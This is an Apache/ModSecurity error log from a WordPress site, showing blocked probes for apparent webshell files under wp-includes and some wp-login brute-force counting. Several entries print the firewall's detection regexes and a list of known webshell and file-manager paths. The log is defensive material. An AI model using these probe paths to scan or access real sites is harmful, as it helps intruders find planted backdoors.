[Fri Apr 24 22:55:31.598573 2026] [:error] [pid 4177:tid 4194] [client 98.159.37.117:52653] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aeuEY32asKnvdrSe0x5V5QAAAYk"]
[Fri Apr 24 22:55:32.597617 2026] [:error] [pid 17720:tid 17763] [client 173.239.218.175:30289] [client 173.239.218.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aeuEZOhlUs6BS3Ng7_XizwAAAMk"]
[Fri Apr 24 22:55:33.594400 2026] [:error] [pid 17719:tid 17747] [client 173.239.218.182:45671] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aeuEZcTZ9gzEyL1BkPrCXQAAAJQ"]
[Fri Apr 24 22:55:34.453484 2026] [:error] [pid 4177:tid 4197] [client 98.159.37.115:25211] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aeuEZn2asKnvdrSe0x5V6gAAAYw"]
[Fri Apr 24 22:55:35.303878 2026] [:error] [pid 17719:tid 17751] [client 98.159.37.128:42975] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aeuEZ8TZ9gzEyL1BkPrCXwAAAJg"]
[Fri Apr 24 22:55:36.258004 2026] [:error] [pid 17808:tid 17830] [client 98.159.37.136:39411] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aeuEaOarbOEFI8qshvJnogAAAFQ"]
[Fri Apr 24 22:55:38.232347 2026] [:error] [pid 4177:tid 4189] [client 98.159.37.120:39825] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "aeuEan2asKnvdrSe0x5V7gAAAYQ"]
[Fri Apr 24 22:55:39.326017 2026] [:error] [pid 17721:tid 17793] [client 173.239.218.167:52351] [client 173.239.218.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aeuEa-FXXkLeyDnfk_9YWwAAAAw"]
[Fri Apr 24 22:55:40.290360 2026] [:error] [pid 17719:tid 17741] [client 98.159.37.122:24057] [client 98.159.37.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aeuEbMTZ9gzEyL1BkPrCYwAAAI4"]
[Fri Apr 24 22:55:41.102233 2026] [:error] [pid 22114:tid 22124] [client 194.5.52.23:58337] [client 194.5.52.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aeuEbYAuWGz3WlMQjocBMQAAAQc"]
[Fri Apr 24 22:55:44.649882 2026] [:error] [pid 14531:tid 14538] [client 173.239.218.179:44639] [client 173.239.218.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aeuEcHfLU2gw-6KR-GbsHQAAAUU"]
[Fri Apr 24 22:55:46.710991 2026] [:error] [pid 17720:tid 17756] [client 173.239.218.178:32869] [client 173.239.218.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aeuEcuhlUs6BS3Ng7_Xi4gAAAMI"]
[Fri Apr 24 22:55:49.861290 2026] [:error] [pid 22114:tid 22120] [client 173.239.218.168:56805] [client 173.239.218.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aeuEdYAuWGz3WlMQjocBWQAAAQM"]
[Fri Apr 24 22:55:53.490761 2026] [:error] [pid 17721:tid 17785] [client 216.24.210.56:36095] [client 216.24.210.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aeuEeeFXXkLeyDnfk_9YZwAAAAQ"]
[Fri Apr 24 22:55:58.410352 2026] [:error] [pid 17721:tid 17786] [client 173.239.218.167:61085] [client 173.239.218.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aeuEfuFXXkLeyDnfk_9YcgAAAAU"]
[Fri Apr 24 22:56:04.664049 2026] [:error] [pid 17808:tid 17827] [client 98.159.37.119:56963] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aeuEhOarbOEFI8qshvJn0gAAAFE"]
[Fri Apr 24 22:56:07.628503 2026] [:error] [pid 14531:tid 14551] [client 98.159.37.124:47507] [client 98.159.37.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aeuEh3fLU2gw-6KR-GbsNAAAAVI"]
[Fri Apr 24 22:56:26.574469 2026] [:error] [pid 17720:tid 17761] [client 98.159.37.117:30801] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aeuEmuhlUs6BS3Ng7_XjFQAAAMc"]
[Fri Apr 24 22:56:28.269573 2026] [:error] [pid 17808:tid 17811] [client 173.239.218.170:48507] [client 173.239.218.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aeuEnOarbOEFI8qshvJoBAAAAEE"]
[Fri Apr 24 22:56:31.592035 2026] [:error] [pid 17808:tid 17819] [client 98.159.37.121:26553] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aeuEn-arbOEFI8qshvJoDwAAAEk"]
[Fri Apr 24 22:56:34.342368 2026] [:error] [pid 4177:tid 4194] [client 173.239.218.184:44081] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aeuEon2asKnvdrSe0x5WFwAAAYk"]
[Fri Apr 24 22:56:35.183860 2026] [:error] [pid 17808:tid 17810] [client 98.159.37.117:63623] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aeuEo-arbOEFI8qshvJoFgAAAEA"]
[Fri Apr 24 22:56:41.239831 2026] [:error] [pid 17719:tid 17750] [client 98.159.37.130:43591] [client 98.159.37.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeuEqcTZ9gzEyL1BkPrChgAAAJc"]
[Fri Apr 24 22:56:42.236090 2026] [:error] [pid 17721:tid 17800] [client 98.159.37.121:26819] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aeuEquFXXkLeyDnfk_9YnAAAABM"]
[Fri Apr 24 22:56:49.307258 2026] [:error] [pid 17721:tid 17799] [client 98.159.37.131:46013] [client 98.159.37.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aeuEseFXXkLeyDnfk_9YpgAAABI"]
[Fri Apr 24 22:56:51.752666 2026] [proxy_fcgi:error] [pid 4177:tid 4203] [client 216.24.210.56:34545] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:56:53.020349 2026] [:error] [pid 4177:tid 4195] [client 216.24.210.56:34545] [client 216.24.210.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aeuEtX2asKnvdrSe0x5WMAAAAYo"]
[Fri Apr 24 22:56:53.880033 2026] [:error] [pid 17808:tid 17828] [client 173.239.218.169:35145] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "aeuEtearbOEFI8qshvJoPQAAAFI"]
[Fri Apr 24 22:56:57.264164 2026] [:error] [pid 17721:tid 17782] [client 173.239.218.173:21065] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aeuEueFXXkLeyDnfk_9YsQAAAAE"]
[Fri Apr 24 22:56:58.144153 2026] [:error] [pid 17808:tid 17825] [client 173.239.218.183:48555] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aeuEuuarbOEFI8qshvJoSwAAAE8"]
[Fri Apr 24 22:57:07.929040 2026] [:error] [pid 17808:tid 17822] [client 98.159.37.136:61199] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "aeuEw-arbOEFI8qshvJodQAAAEw"]
[Fri Apr 24 22:57:08.769507 2026] [:error] [pid 4177:tid 4202] [client 173.239.218.180:48111] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aeuExH2asKnvdrSe0x5WXAAAAZE"]
[Fri Apr 24 22:57:14.397908 2026] [:error] [pid 17808:tid 17829] [client 173.239.218.183:25091] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aeuEyuarbOEFI8qshvJolAAAAFM"]
[Fri Apr 24 22:57:15.336759 2026] [:error] [pid 17721:tid 17789] [client 173.239.218.175:58301] [client 173.239.218.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aeuEy-FXXkLeyDnfk_9YwgAAAAg"]
[Fri Apr 24 22:57:16.385174 2026] [:error] [pid 4177:tid 4206] [client 98.159.37.119:54417] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aeuEzH2asKnvdrSe0x5WeQAAAZU"]
[Fri Apr 24 22:57:23.948697 2026] [:error] [pid 17720:tid 17757] [client 173.239.218.170:60021] [client 173.239.218.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aeuE0-hlUs6BS3Ng7_XjWgAAAMM"]
[Fri Apr 24 22:57:26.307304 2026] [:error] [pid 14531:tid 14539] [client 173.239.218.180:43161] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aeuE1nfLU2gw-6KR-GbsdgAAAUY"]
[Fri Apr 24 22:57:34.084546 2026] [:error] [pid 22114:tid 22129] [client 98.159.37.137:47877] [client 98.159.37.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "aeuE3oAuWGz3WlMQjocBjAAAAQw"]
[Fri Apr 24 22:57:40.716671 2026] [:error] [pid 22114:tid 22122] [client 98.159.37.137:47877] [client 98.159.37.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aeuE5IAuWGz3WlMQjocBkgAAAQU"]
[Fri Apr 24 22:57:52.590792 2026] [proxy_fcgi:error] [pid 22114:tid 22132] [client 98.159.37.137:47877] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:58:09.467635 2026] [:error] [pid 22114:tid 22138] [client 98.159.37.137:47877] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aeuFAYAuWGz3WlMQjocBuQAAARU"]
[Fri Apr 24 22:58:13.569834 2026] [:error] [pid 17808:tid 17822] [client 173.239.218.176:26289] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aeuFBearbOEFI8qshvJo3QAAAEw"]
[Fri Apr 24 22:58:17.144081 2026] [:error] [pid 14531:tid 14541] [client 173.239.218.179:42067] [client 173.239.218.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aeuFCXfLU2gw-6KR-GbsrAAAAUg"]
[Fri Apr 24 22:58:28.179319 2026] [:error] [pid 17808:tid 17819] [client 173.239.218.166:49901] [client 173.239.218.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aeuFFOarbOEFI8qshvJo_wAAAEk"]
[Fri Apr 24 22:58:31.507755 2026] [:error] [pid 17808:tid 17832] [client 98.159.37.134:23363] [client 98.159.37.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aeuFF-arbOEFI8qshvJpCAAAAFY"]
[Fri Apr 24 22:58:34.108563 2026] [:error] [pid 14531:tid 14534] [client 98.159.37.130:22765] [client 98.159.37.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aeuFGnfLU2gw-6KR-GbssAAAAUE"]
[Fri Apr 24 22:58:40.099855 2026] [proxy_fcgi:error] [pid 17808:tid 17829] [client 216.24.210.195:50605] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:58:40.342819 2026] [proxy_fcgi:error] [pid 17808:tid 17822] [client 216.24.210.195:50605] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:58:40.512851 2026] [:error] [pid 17808:tid 17832] [client 216.24.210.195:50605] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aeuFIOarbOEFI8qshvJpKQAAAFY"]
[Fri Apr 24 22:58:41.421683 2026] [:error] [pid 17808:tid 17810] [client 173.239.218.173:47925] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aeuFIearbOEFI8qshvJpLgAAAEA"]
[Fri Apr 24 22:58:50.124665 2026] [:error] [pid 17720:tid 17765] [client 98.159.37.115:45471] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aeuFKuhlUs6BS3Ng7_XjrgAAAMs"]
[Fri Apr 24 22:58:52.285936 2026] [:error] [pid 14531:tid 14533] [client 173.239.218.168:39561] [client 173.239.218.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aeuFLHfLU2gw-6KR-GbsyAAAAUA"]
[Fri Apr 24 22:58:57.200472 2026] [:error] [pid 17719:tid 17748] [client 173.239.218.180:43423] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aeuFMcTZ9gzEyL1BkPrC6gAAAJU"]
[Fri Apr 24 22:59:06.184103 2026] [:error] [pid 17719:tid 17747] [client 173.239.218.169:44229] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aeuFOsTZ9gzEyL1BkPrC9wAAAJQ"]
